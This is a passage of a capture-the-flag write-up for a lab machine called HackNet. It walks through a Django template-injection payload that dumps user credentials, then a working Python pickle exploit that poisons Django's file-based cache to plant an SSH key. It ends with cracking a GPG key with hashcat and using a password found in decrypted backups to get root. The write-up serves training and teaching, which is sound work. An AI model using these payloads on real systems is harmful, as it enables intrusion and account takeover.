<QuerySet [{'id': 2, 'email': 'hexhunter@ciphermail.com', 'username': 'hexhunter', 'password': 'H3xHunt3r!', 'picture': '2.jpg', 'about': 'A seasoned reverse engineer specializing in binary exploitation. Loves diving into hex editors and uncovering hidden data.', 'contact_requests': 0, 'unread_messages': 0, 'is_public': True, 'is_hidden': False, 'two_fa': False}, {'id': 3, 'email': 'rootbreaker@exploitmail.net', 'username': 'rootbreaker', 'password': 'R00tBr3@ker#', 'picture': '3.jpg', 'about': 'Expert in privilege escalation and bypassing security measures. Always on the lookout for new zero-day vulnerabilities.', 'contact_requests': 0, 'unread_messages': 0, 'is_public': True, 'is_hidden': False, 'two_fa': False}, {'id': 13, 'email': 'netninja@hushmail.com', 'username': 'netninja', 'password': 'N3tN1nj@2024', 'picture': '13.png', 'about': 'Network security expert focused on intrusion detection and prevention. Known for slicing through firewalls with ease.', 'contact_requests': 0, 'unread_messages': 0, 'is_public': True, 'is_hidden': False, 'two_fa': False}, {'id': 16, 'email': 'shadowmancer@cypherx.com', 'username': 'shadowmancer', 'password': 'Sh@d0wM@ncer', 'picture': '16.png', 'about': 'A master of disguise in the digital world, using cloaking techniques and evasion tactics to remain unseen.', 'contact_requests': 0, 'unread_messages': 0, 'is_public': True, 'is_hidden': False, 'two_fa': False}, {'id': 20, 'email': 'stealth_hawk@exploitmail.net', 'username': 'stealth_hawk', 'password': 'St3@lthH@wk', 'picture': '20.jpg', 'about': 'Focuses on stealth operations, avoiding detection while infiltrating systems. A ghost in the machine.', 'contact_requests': 0, 'unread_messages': 0, 'is_public': True, 'is_hidden': False, 'two_fa': False}, {'id': 23, 'email': 'virus_viper@securemail.org', 'username': 'virus_viper', 'password': 'V!rusV!p3r2024', 'picture': '23.jpg', 'about': 'A malware creator focused on developing viruses that spread rapidly. Known for unleashing digital plagues.', 'contact_requests': 0, 'unread_messages': 0, 'is_public': True, 'is_hidden': False, 'two_fa': False}, {'id': 24, 'email': 'brute_force@ciphermail.com', 'username': 'brute_force', 'password': 'BrUt3F0rc3#', 'picture': '24.jpg', 'about': 'Specializes in brute force attacks and password cracking. Loves the challenge of breaking into locked systems.', 'contact_requests': 0, 'unread_messages': 0, 'is_public': True, 'is_hidden': False, 'two_fa': False}, {'id': 27, 'email': '0xdf@hacknet.htb', 'username': '0xdf {{ users.values }}', 'password': '0xdf', 'picture': 'profile.png', 'about': '', 'contact_requests': 0, 'unread_messages': 0, 'is_public': True, 'is_hidden': True, 'two_fa': False}]>

Can clean this up the same way:

{% raw %}oxdf@hacky$ uv run ssti.py 0xdf@hacknet.htb 0xdf '{{ users.values }}' 14 | grep -oP "'username': '[^']+', 'password': '[^']+" | sed "s/'username': '//;s/', 'password': '/:/g" | tee users.txt
hexhunter:H3xHunt3r!
rootbreaker:R00tBr3@ker#
netninja:N3tN1nj@2024
shadowmancer:Sh@d0wM@ncer
stealth_hawk:St3@lthH@wk
virus_viper:V!rusV!p3r2024
brute_force:BrUt3F0rc3#
0xdf {{ users.values }}:0xdf

There are about 25 posts, so I’ll loop over IDs from 0 to 30 and collect all the usernames, using grep, sed, and sort to make a nice list of unique users/passwords:

oxdf@hacky$ for i in {0..30}; do uv run ssti.py 0xdf@hacknet.htb 0xdf '{{ users.values }}' $i; done | grep -oP "'username': '[^']+', 'password': '[^']+" | sed "s/'username': '//;s/', 'password': '/:/g" | sort -u | tee users.txt 
0xdf {{ users.values }}:0xdf
backdoor_bandit:mYd4rks1dEisH3re
blackhat_wolf:Bl@ckW0lfH@ck
brute_force:BrUt3F0rc3#
bytebandit:Byt3B@nd!t123
codebreaker:C0d3Br3@k!
cryptoraven:CrYptoR@ven42
cyberghost:Gh0stH@cker2024
darkseeker:D@rkSeek3r#
datadive:D@taD1v3r
deepdive:D33pD!v3r
exploit_wizard:Expl01tW!zard
glitch:Gl1tchH@ckz
hexhunter:H3xHunt3r!
netninja:N3tN1nj@2024
packetpirate:P@ck3tP!rat3
phreaker:Phre@k3rH@ck
rootbreaker:R00tBr3@ker#
shadowcaster:Sh@d0wC@st!
shadowmancer:Sh@d0wM@ncer
shadowwalker:Sh@dowW@lk2024
stealth_hawk:St3@lthH@wk
trojanhorse:Tr0j@nH0rse!
virus_viper:V!rusV!p3r2024
whitehat:Wh!t3H@t2024
zero_day:Zer0D@yH@ck

None of these work for SSH either.

SSH

To look a bit closer at the users, I’ll get all their data into a file:

oxdf@hacky$ for i in {0..30}; do uv run ssti.py 0xdf@hacknet.htb 0xdf '{{ users.values }}' $i; done | grep 'QuerySet' > user_results.txt 

I’ll use some Bash and jq to get data about each user:

oxdf@hacky$ cat user_results.txt | cut -d' ' -f2- | cut -d'>' -f1 | sed "s/'/\"/g" | sed 's/True/true/g' | sed 's/False/false/g' | jq '.[] | "[\(.email):\(.username):\(.password)] \(.about)"' -r | sort -u
[0xdf@hacknet.htb:0xdf {{ users.values }}:0xdf] 
[blackhat_wolf@cypherx.com:blackhat_wolf:Bl@ckW0lfH@ck] A black hat hacker with a passion for ransomware development. Has a reputation for leaving no trace behind.
[brute_force@ciphermail.com:brute_force:BrUt3F0rc3#] Specializes in brute force attacks and password cracking. Loves the challenge of breaking into locked systems.
[bytebandit@exploitmail.net:bytebandit:Byt3B@nd!t123] A skilled penetration tester and ethical hacker. Enjoys dismantling security systems and exposing their weaknesses.
[codebreaker@ciphermail.com:codebreaker:C0d3Br3@k!] A programmer with a talent for writing malicious code and cracking software protections. Loves breaking encryption algorithms.
[cryptoraven@securemail.org:cryptoraven:CrYptoR@ven42] Cryptography expert with a love for breaking and creating secure communication protocols. Always one step ahead in the encryption game.
[cyberghost@darkmail.net:cyberghost:Gh0stH@cker2024] A digital nomad with a knack for uncovering vulnerabilities in the deep web. Passionate about cryptography and secure communications.
[darkseeker@darkmail.net:darkseeker:D@rkSeek3r#] A hacker who thrives in the dark web. Specializes in anonymity tools and hidden service exploitation.
[datadive@darkmail.net:datadive:D@taD1v3r] A data miner and analyst with a focus on extracting and analyzing large datasets from breached databases.
[deepdive@hacknet.htb:deepdive:D33pD!v3r] Specializes in deep web exploration and data extraction. Always looking for hidden gems in the darkest corners of the web.
[exploit_wizard@hushmail.com:exploit_wizard:Expl01tW!zard] An expert in exploit development and vulnerability research. Loves crafting new ways to break into systems.
[glitch@cypherx.com:glitch:Gl1tchH@ckz] Specializes in glitching and fault injection attacks. Loves causing unexpected behavior in software and hardware.
[hexhunter@ciphermail.com:hexhunter:H3xHunt3r!] A seasoned reverse engineer specializing in binary exploitation. Loves diving into hex editors and uncovering hidden data.
[mikey@hacknet.htb:backdoor_bandit:mYd4rks1dEisH3re] Specializes in creating and exploiting backdoors in systems. Always leaves a way back in after an attack.
[netninja@hushmail.com:netninja:N3tN1nj@2024] Network security expert focused on intrusion detection and prevention. Known for slicing through firewalls with ease.
[packetpirate@exploitmail.net:packetpirate:P@ck3tP!rat3] A packet sniffer who loves capturing and analyzing network traffic. Always hunting for sensitive data in the ether.
[phreaker@securemail.org:phreaker:Phre@k3rH@ck] Old-school hacker with roots in phone phreaking. Now enjoys exploiting telecom systems and VoIP networks.
[rootbreaker@exploitmail.net:rootbreaker:R00tBr3@ker#] Expert in privilege escalation and bypassing security measures. Always on the lookout for new zero-day vulnerabilities.
[shadowcaster@darkmail.net:shadowcaster:Sh@d0wC@st!] Specializes in social engineering and OSINT techniques. A master of blending into the digital shadows.
[shadowmancer@cypherx.com:shadowmancer:Sh@d0wM@ncer] A master of disguise in the digital world, using cloaking techniques and evasion tactics to remain unseen.
[shadowwalker@hushmail.com:shadowwalker:Sh@dowW@lk2024] A digital infiltrator who excels in covert operations. Always finds a way to walk through the shadows undetected.
[stealth_hawk@exploitmail.net:stealth_hawk:St3@lthH@wk] Focuses on stealth operations, avoiding detection while infiltrating systems. A ghost in the machine.
[trojanhorse@securemail.org:trojanhorse:Tr0j@nH0rse!] Malware developer with a focus on creating and deploying Trojan horses. Enjoys watching systems crumble from within.
[virus_viper@securemail.org:virus_viper:V!rusV!p3r2024] A malware creator focused on developing viruses that spread rapidly. Known for unleashing digital plagues.
[whitehat@darkmail.net:whitehat:Wh!t3H@t2024] An ethical hacker with a mission to improve cybersecurity. Works to protect systems by exposing and patching vulnerabilities.
[zero_day@hushmail.com:zero_day:Zer0D@yH@ck] Focused on discovering zero-day vulnerabilities and creating proof-of-concept exploits. A dark web enthusiast.

One thing that jumps out is that most of the emails are at legit email providers, but two (besides mine) are from hacknet.htb:

oxdf@hacky$ cat user_results.txt | cut -d' ' -f2- | cut -d'>' -f1 | sed "s/'/\"/g" | sed 's/True/true/g' | sed 's/False/false/g' | jq '.[] | "[\(.email):\(.username):\(.password)] \(.about)"' -r | sort -u | grep hacknet.htb
[0xdf@hacknet.htb:0xdf {{ users.values }}:0xdf] 
[deepdive@hacknet.htb:deepdive:D33pD!v3r] Specializes in deep web exploration and data extraction. Always looking for hidden gems in the darkest corners of the web.
[mikey@hacknet.htb:backdoor_bandit:mYd4rks1dEisH3re] Specializes in creating and exploiting backdoors in systems. Always leaves a way back in after an attack.

deepdive has an email that matches their username, so I already tried that over SSH. But backdoor_bandit’s email is mikey. And it works:

oxdf@hacky$ netexec ssh hacknet.htb -u mikey -p mYd4rks1dEisH3re
SSH         10.10.11.85     22     hacknet.htb      [*] SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u7
SSH         10.10.11.85     22     hacknet.htb      [+] mikey:mYd4rks1dEisH3re  Linux - Shell access!

I’ll get a shell:

oxdf@hacky$ sshpass -p mYd4rks1dEisH3re ssh mikey@hacknet.htb
Linux hacknet 6.1.0-38-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.147-1 (2025-08-02) x86_64
...[snip]...
mikey@hacknet:~$ 

And user.txt:

mikey@hacknet:~$ cat user.txt
8c74ba19************************

Shell as sandy

Enumeration

Users

Other than the flag, mikey’s home directory is pretty empty:

mikey@hacknet:~$ ls -la
total 44
drwx------ 6 mikey mikey 4096 Sep  4 15:01 .
drwxr-xr-x 4 root  root  4096 Jul  3  2024 ..
lrwxrwxrwx 1 root  root     9 Sep  4 15:01 .bash_history -> /dev/null
-rw-r--r-- 1 mikey mikey  220 May 31  2024 .bash_logout
-rw-r--r-- 1 mikey mikey 3526 May 31  2024 .bashrc
drwxr-xr-x 3 mikey mikey 4096 May 31  2024 .cache
drwx------ 3 mikey mikey 4096 Jun  2  2024 .config
-rw------- 1 mikey mikey   20 Jul  3  2024 .lesshst
drwxr-xr-x 4 mikey mikey 4096 Jul  8  2024 .local
lrwxrwxrwx 1 root  root     9 Aug  8  2024 .mysql_history -> /dev/null
-rw-r--r-- 1 mikey mikey  807 May 31  2024 .profile
lrwxrwxrwx 1 root  root     9 May 31  2024 .python_history -> /dev/null
drwx------ 2 mikey mikey 4096 Dec 28  2024 .ssh
-rw-r--r-- 1 mikey mikey    0 Jun 19  2024 .sudo_as_admin_successful
-rw-r----- 1 root  mikey   33 Jan  9 06:44 user.txt

.lesshst is empty, and despite the .sudo_as_admin_successful file, mikey can no longer run anything with sudo:

mikey@hacknet:~$ sudo -l
[sudo] password for mikey: 
Sorry, user mikey may not run sudo on hacknet.

There’s one other user with a home directory on the box, sandy:

mikey@hacknet:/home$ ls
mikey  sandy

That matches users with shells configured:

mikey@hacknet:/$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
mikey:x:1000:1000:mikey,,,:/home/mikey:/bin/bash
sandy:x:1001:1001::/home/sandy:/bin/bash

Web Setup

nginx shows two sites configured:

mikey@hacknet:/etc/nginx/sites-enabled$ ls
default  HackNet

default just handles the redirect to hacknet.htb:

mikey@hacknet:/etc/nginx/sites-enabled$ cat default | grep -v "#" | grep .
server {
        listen 80 default_server;
        listen [::]:80 default_server;
        return 301 http://hacknet.htb$request_uri;
        root /var/www/html;
        index index.html index.htm index.nginx-debian.html;
        server_name _;
        location / {
                try_files $uri $uri/ =404;
        }
}

HackNet sets /static and /media to be hosted from /var/www/HackNet, and then proxies everything else to gunicorn which is certainly running the Django application.

Django is running as a service via gunicorn setup in /etc/systemd/system/gunicorn.service:

[Unit]
Description=gunicorn daemon
Requires=gunicorn.socket
After=network.target

[Service]
User=sandy
Group=www-data
WorkingDirectory=/var/www/HackNet
ExecStart=/home/sandy/.local/bin/gunicorn \
          --access-logfile - \
          --workers 3 \
          --bind unix:/run/gunicorn.sock \
          HackNet.wsgi:application

[Install]
WantedBy=multi-user.target

The user is sandy! That means if I can get RCE through Django, it’ll be as sandy.

Django HackNet Project

The Django application (along with the media and static folders) is in /var/www/HackNet:

mikey@hacknet:/var/www/HackNet$ ls
backups  db.sqlite3  HackNet  manage.py  media  SocialNetwork  static

backups contains GPG-encrypted database backups:

mikey@hacknet:/var/www/HackNet$ ls -l backups/
total 48
-rw-r--r-- 1 sandy sandy 13445 Dec 29  2024 backup01.sql.gpg
-rw-r--r-- 1 sandy sandy 13713 Dec 29  2024 backup02.sql.gpg
-rw-r--r-- 1 sandy sandy 13851 Dec 29  2024 backup03.sql.gpg

These are all owned by sandy.

There’s a db.sqlite3, but it’s 0 in size.

This Django project has the following structure:

📁 /var/www/HackNet/# Project root
├── 📄 manage.py# Django CLI
├── 📁 HackNet/# Project config package
├── 📄 settings.py
└── 📄 urls.py
├── 📁 SocialNetwork/# Main app package
├── 📄 models.py
├── 📄 views.py
├── 📁 templates/
└── 📁 static/# App-level static (CSS/JS for this app)
├── 📁 backups/# GPG-encrypted SQL backups
├── 📁 media/# User uploads
└── 📁 static/# Project-level static (collected assets)

HackNet is the Django project configuration, and SocialNetwork is the Django app. The database connection settings are in HackNet/settings.py:

DATABASES = {                   
    'default': {
        'ENGINE': 'django.db.backends.mysql',
        'NAME': 'hacknet',
        'USER': 'sandy',
        'PASSWORD': 'h@ckn3tDBpa$$',
        'HOST':'localhost',
        'PORT':'3306',
    }
}

I can connect and check this out, but nothing really of interest here.

The SSTI vulnerability is in the likes function in SocialNetwork/views.py:

def likes(request, pk):
    if not "email" in request.session.keys():                      
        return redirect("index")
                                                                   
    session_user = get_object_or_404(SocialUser, email=request.session['email'])
    post = get_object_or_404(SocialArticle,pk=pk)
    users = post.likes.all()

    engine = engines["django"]
    template_string = ""

    context = {"users": users}

    for user in users:
        if not user.is_hidden or user == session_user:
            template_string += "<div class=\"likes-review-item\"><a href=\"/profile/"+str(user.pk)+"\"><img src=\""+user.picture.url+"\
" title=\""+user.username+"\"></a></div>"

    try:
        template = engine.from_string(template_string)
    except:
        template = engine.from_string("<div class=\"likes-review-item\"><a>Something went wrong...</a></div>")

    return HttpResponse(template.render(context, request))

It builds the template with user input (the username) and then passes it to engine.from_string, which is almost never a good idea (and as far as I can tell here done purely to enable the SSTI, as the template string has no placeholders in it other than user input).

I’ll notice one route with the cache_page decorator, explore:

@cache_page(60)
def explore(request):                                                                                                                  
    if not "email" in request.session.keys():
        return redirect("index")                                   

    session_user = get_object_or_404(SocialUser, email=request.session['email'])
                                 
    page_size = 10                                                 
    keyword = ""                

    if "keyword" in request.GET.keys():
        keyword = request.GET['keyword']
        posts = SocialArticle.objects.filter(text__contains=keyword).order_by("-date")
    else:                                                                                                                              
        posts = SocialArticle.objects.all().order_by("-date")

    pages = ceil(len(posts) / page_size)

    if "page" in request.GET.keys() and int(request.GET['page']) > 0:
        post_start = int(request.GET['page'])*page_size-page_size
        post_end = post_start + page_size
        posts_slice = posts[post_start:post_end]
    else:
        posts_slice = posts[:page_size]

    news = get_news()
    request.session['requests'] = session_user.contact_requests
    request.session['messages'] = session_user.unread_messages

    for post_item in posts:
        if session_user in post_item.likes.all():
            post_item.is_like = True

    posts_filtered = []
    for post in posts_slice:
        if not post.author.is_hidden or post.author == session_user:
            posts_filtered.append(post)
        for like in post.likes.all():
            if like.is_hidden and like != session_user:
                post.likes_number -= 1

    context = {"pages": pages, "posts": posts_filtered, "keyword": keyword, "news": news, "session_user": session_user}

    return render(request, "SocialNetwork/explore.html", context)

This is a Django feature that allows caching a page. The settings for this are configured in HackNet/settings.py:

CACHES = {
    'default': {
        'BACKEND': 'django.core.cache.backends.filebased.FileBasedCache',
        'LOCATION': '/var/tmp/django_cache',
        'TIMEOUT': 60,
        'OPTIONS': {'MAX_ENTRIES': 1000},                  
    }
}

This sets up a file-based caching in /var/tmp/django_cache. As visit /explore, there will be files in there:

mikey@hacknet:/var/www/HackNet$ ls /var/tmp/django_cache/
1f0acfe7480a469402f1852f8313db86.djcache  90dbab8f3b1e54369abdeb4ba1efc106.djcache
38a2767f386f7371302bfb3ef9ecd119.djcache  d71518e8cf78e2f4dc6ec35e969731b7.djcache

Cache Deserialization

Vulnerability

The Django FileBasedCache source shows that it uses pickle to store data. These files are not something as mikey I can read or write:

mikey@hacknet:/var/tmp/django_cache$ ls -l
total 8
-rw------- 1 sandy www-data   34 Jan  9 10:33 1f0acfe7480a469402f1852f8313db86.djcache
-rw------- 1 sandy www-data 2781 Jan  9 10:33 90dbab8f3b1e54369abdeb4ba1efc106.djcache

But, the directory is world writable:

mikey@hacknet:/var/tmp/django_cache$ ls -ld .
drwxrwxrwx 2 sandy www-data 4096 Jan  9 11:05 .

That means mikey can create/delete files in this directory, including moving one of the cache files:

mikey@hacknet:/var/tmp/django_cache$ mv 90dbab8f3b1e54369abdeb4ba1efc106.djcache 90dbab8f3b1e54369abdeb4ba1efc106.djcache.bk
mikey@hacknet:/var/tmp/django_cache$ ls
1f0acfe7480a469402f1852f8313db86.djcache  90dbab8f3b1e54369abdeb4ba1efc106.djcache.bk

The files are deleted if Django reads them and they are more than one minute old. This will also mean that Django won’t look for it again. There’s also a cron running on the box that cleans up this directory every five minutes (presumably to remove players’ exploits).

But if I can:

  1. Load /explore, and Django creates files in /var/tmp/django_cache.
  2. Replace one of the files with a serialized attack payload.
  3. Load /explore, having Django load my payload.

I should get execution as sandy.

Exploit

I’ll write a simple Python deserialization script:

#!/usr/bin/env python3

import pickle
import subprocess
from pathlib import Path

class Exploit:
    def __reduce__(self):

        return (subprocess.Popen, (["/bin/bash", "-c", "mkdir -p /home/sandy/.ssh; echo -e '\nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDIK/xSi58QvP1UqH+nBwpD1WQ7IaxiVdTpsg5U19G3d nobody@nothing\n' >> /home/sandy/.ssh/authorized_keys"],))

payload = pickle.dumps(Exploit())

for f in Path('/var/tmp/django_cache').iterdir():
    if f.is_file() and f.suffix == ".djcache":
        f.rename(f"{f}.bk")
        f.write_bytes(payload)
        print(f"Poisoned {f}")

This will create a pickled payload that will write my SSH key to sandy’s home directory when deserialized.

It gets every .djcache file in the cache directory, creates a backup of it and then writes the payload to it. I’ll refresh /explore to create new cache files, and run this one HackNet (to make sure it uses the same Python and Django versions).

mikey@hacknet:/dev/shm$ python3 exploit.py 
Poisoned /var/tmp/django_cache/1f0acfe7480a469402f1852f8313db86.djcache
Poisoned /var/tmp/django_cache/90dbab8f3b1e54369abdeb4ba1efc106.djcache

Now on refreshing /explore, it crashes:

image-20260109114550927

But I’m able to SSH as sandy:

oxdf@hacky$ ssh -i ~/keys/ed25519_gen sandy@hacknet.htb
Linux hacknet 6.1.0-38-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.147-1 (2025-08-02) x86_64
...[snip]...
sandy@hacknet:~$ 

Shell as root

Enumeration

There’s not much in sandy’s home directory:

sandy@hacknet:~$ ls -la
total 40
drwx------ 7 sandy sandy    4096 Jan  9 11:39 .
drwxr-xr-x 4 root  root     4096 Jul  3  2024 ..
lrwxrwxrwx 1 root  root        9 Sep  4 15:01 .bash_history -> /dev/null
-rw-r--r-- 1 sandy sandy     220 Apr 23  2023 .bash_logout
-rw-r--r-- 1 sandy sandy    3526 Apr 23  2023 .bashrc
drwxr-xr-x 3 sandy sandy    4096 Jul  3  2024 .cache
drwx------ 3 sandy sandy    4096 Dec 21  2024 .config
drwx------ 4 sandy sandy    4096 Sep  5 07:33 .gnupg
drwxr-xr-x 5 sandy sandy    4096 Jul  3  2024 .local
lrwxrwxrwx 1 root  root        9 Aug  8  2024 .mysql_history -> /dev/null
-rw-r--r-- 1 sandy sandy     808 Jul 11  2024 .profile
lrwxrwxrwx 1 root  root        9 Jul  3  2024 .python_history -> /dev/null
drwxr-xr-x 2 sandy www-data 4096 Jan  9 11:39 .ssh

But one thing jumps out immediately! There’s a .gnupg directory. This immediately points to the backups in the web folder. I can list keys in sandy’s account:

sandy@hacknet:~$ gpg --list-keys
/home/sandy/.gnupg/pubring.kbx
------------------------------
pub   rsa1024 2024-12-29 [SC]
      21395E17872E64F474BF80F1D72E5C1FA19C12F7
uid           [ultimate] Sandy (My key for backups) <sandy@hacknet.htb>
sub   rsa1024 2024-12-29 [E]

The keys are stored in .gnupg/private-keys-v1.d:

sandy@hacknet:~$ ls .gnupg/private-keys-v1.d/
0646B1CF582AC499934D8503DCF066A6DCE4DFA9.key  armored_key.asc  EF995B85C8B33B9FC53695B9A3B597B325562F4F.key

armored_key.asc is the export of the private key.

Trying to decrypt any of them with gpg --decrypt <filename> pops the auth screen:

image-20260109115613495

Backups

Crack Password

I’ll save a copy of armored_key.asc on my host and use gpg2john with a little bit of sed that Claude helped me generate to make a hash:

oxdf@hacky$ /opt/john/run/gpg2john sandy.armored_key.asc | sed 's/^[^:]*://; s/:::.*//' | tee sandy.armored_key.asc.hash

File sandy.armored_key.asc
$gpg$*1*348*1024*db7e6d165a1d86f43276a4a61a9865558a3b67dbd1c6b0c25b960d293cd490d0f54227788f93637a930a185ab86bc6d4bfd324fdb4f908b41696f71db01b3930cdfbc854a81adf642f5797f94ddf7e67052ded428ee6de69fd4c38f0c6db9fccc6730479b48afde678027d0628f0b9046699033299bc37b0345c51d7fa51f83c3d857b72a1e57a8f38302ead89537b6cb2b88d0a953854ab6b0cdad4af069e69ad0b4e4f0e9b70fc3742306d2ddb255ca07eb101b07d73f69a4bd271e4612c008380ef4d5c3b6fa0a83ab37eb3c88a9240ddeda8238fd202ccc9cf076b6d21602dd2394349950be7de440618bf93bcde73e68afa590a145dc0e1f3c87b74c0e2a96c8fe354868a40ec09dd217b815b310a41449dc5fbdfca513fadd5eeae42b65389aecc628e94b5fb59cce24169c8cd59816681de7b58e5f0d0e5af267bc75a8efe0972ba7e6e3768ec96040488e5c7b2aa0a4eb1047e79372b3605*3*254*2*7*16*db35bd29d9f4006bb6a5e01f58268d96*65011712*850ffb6e35f0058b

I’ll feed that to hashcat and it finds the password in 43 seconds on my host:

$ hashcat sandy.armored_key.asc.hash /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
hashcat (v7.1.2) starting in autodetect mode
...[snip]...
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:

17010 | GPG (AES-128/AES-256 (SHA-1($pass))) | Private Key
...[snip]...
$gpg$*1*348*1024*db7e6d165a1d86f43276a4a61a9865558a3b67dbd1c6b0c25b960d293cd490d0f54227788f93637a930a185ab86bc6d4bfd324fdb4f908b41696f71db01b3930cdfbc854a81adf642f5797f94ddf7e67052ded428ee6de69fd4c38f0c6db9fccc6730479b48afde678027d0628f0b9046699033299bc37b0345c51d7fa51f83c3d857b72a1e57a8f38302ead89537b6cb2b88d0a953854ab6b0cdad4af069e69ad0b4e4f0e9b70fc3742306d2ddb255ca07eb101b07d73f69a4bd271e4612c008380ef4d5c3b6fa0a83ab37eb3c88a9240ddeda8238fd202ccc9cf076b6d21602dd2394349950be7de440618bf93bcde73e68afa590a145dc0e1f3c87b74c0e2a96c8fe354868a40ec09dd217b815b310a41449dc5fbdfca513fadd5eeae42b65389aecc628e94b5fb59cce24169c8cd59816681de7b58e5f0d0e5af267bc75a8efe0972ba7e6e3768ec96040488e5c7b2aa0a4eb1047e79372b3605*3*254*2*7*16*db35bd29d9f4006bb6a5e01f58268d96*65011712*850ffb6e35f0058b:sweetheart
...[snip]...
Started: Sat Jan 10 12:27:13 2026
Stopped: Sat Jan 10 12:27:56 2026

Recover Backups

With the password, I’m able to decrypt the backups (entering it at a pop-up prompt):

sandy@hacknet:/var/www/HackNet/backups$ gpg --decrypt backup01.sql.gpg > /dev/shm/backup01.sql
gpg: encrypted with 1024-bit RSA key, ID FC53AFB0D6355F16, created 2024-12-29
      "Sandy (My key for backups) <sandy@hacknet.htb>"
sandy@hacknet:/var/www/HackNet/backups$ gpg --decrypt backup02.sql.gpg > /dev/shm/backup02.sql
gpg: encrypted with 1024-bit RSA key, ID FC53AFB0D6355F16, created 2024-12-29
      "Sandy (My key for backups) <sandy@hacknet.htb>"
sandy@hacknet:/var/www/HackNet/backups$ gpg --decrypt backup03.sql.gpg > /dev/shm/backup03.sql
gpg: encrypted with 1024-bit RSA key, ID FC53AFB0D6355F16, created 2024-12-29
      "Sandy (My key for backups) <sandy@hacknet.htb>"

Scrolling through backup01.sql, nothing jumps out as super interesting. Rather than review all of backup02.sql, I’ll start with a diff:

sandy@hacknet:/dev/shm$ diff backup01.sql backup02.sql 
380c380
< ) ENGINE=InnoDB AUTO_INCREMENT=47 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci;
---
> ) ENGINE=InnoDB AUTO_INCREMENT=53 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci;
430c430,436
< (46,'2024-12-29 00:46:23.445332','Good to know. Thanks!',1,6,17);
---
> (46,'2024-12-29 00:46:23.445332','Good to know. Thanks!',1,6,17),
> (47,'2024-12-29 20:29:36.987384','Hey, can you share the MySQL root password with me? I need to make some changes to the database.',1,22,18),
> (48,'2024-12-29 20:29:55.938483','The root password? What kind of changes are you planning?',1,18,22),
> (49,'2024-12-29 20:30:14.430878','Just tweaking some schema settings for the new project. Won’t take long, I promise.',1,22,18),
> (50,'2024-12-29 20:30:41.806921','Alright. But be careful, okay? Here’s the password: h4ck3rs4re3veRywh3re99. Let me know when you’re done.',1,18,22),
> (51,'2024-12-29 20:30:56.880458','Got it. Thanks a lot! I’ll let you know as soon as I’m finished.',1,22,18),
> (52,'2024-12-29 20:31:16.112930','Cool. If anything goes wrong, ping me immediately.',0,18,22);
682c688
< (1,'pbkdf2_sha256$720000$I0qcPWSgRbUeGFElugzW45$r9ymp7zwsKCKxckgnl800wTQykGK3SgdRkOxEmLiTQQ=','2024-12-29 20:25:13.143037',1,'admin','','','',1,1,'2024-08-08 18:17:54.472758');
---
> (1,'pbkdf2_sha256$720000$I0qcPWSgRbUeGFElugzW45$r9ymp7zwsKCKxckgnl800wTQykGK3SgdRkOxEmLiTQQ=','2024-12-29 20:31:31.793215',1,'admin','','','',1,1,'2024-08-08 18:17:54.472758');
763c769
< ) ENGINE=InnoDB AUTO_INCREMENT=124 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci;
---
> ) ENGINE=InnoDB AUTO_INCREMENT=130 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci;
894c900
< -- Dump completed on 2024-12-29 15:25:43
---
> -- Dump completed on 2024-12-29 15:32:32

The major difference is in the SocialNetwork_socialmessage table, where two users are talking about the database root password!

su / SSH

This password works for the root user with su:

sandy@hacknet:/dev/shm$ su -
Password: 
root@hacknet:~#

It works for SSH as well:

oxdf@hacky$ sshpass -p h4ck3rs4re3veRywh3re99 ssh root@hacknet.htb
Linux hacknet 6.1.0-38-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.147-1 (2025-08-02) x86_64
...[snip]...
root@hacknet:~# 

And I can grab the flag:

root@hacknet:~# cat root.txt
2be15c53************************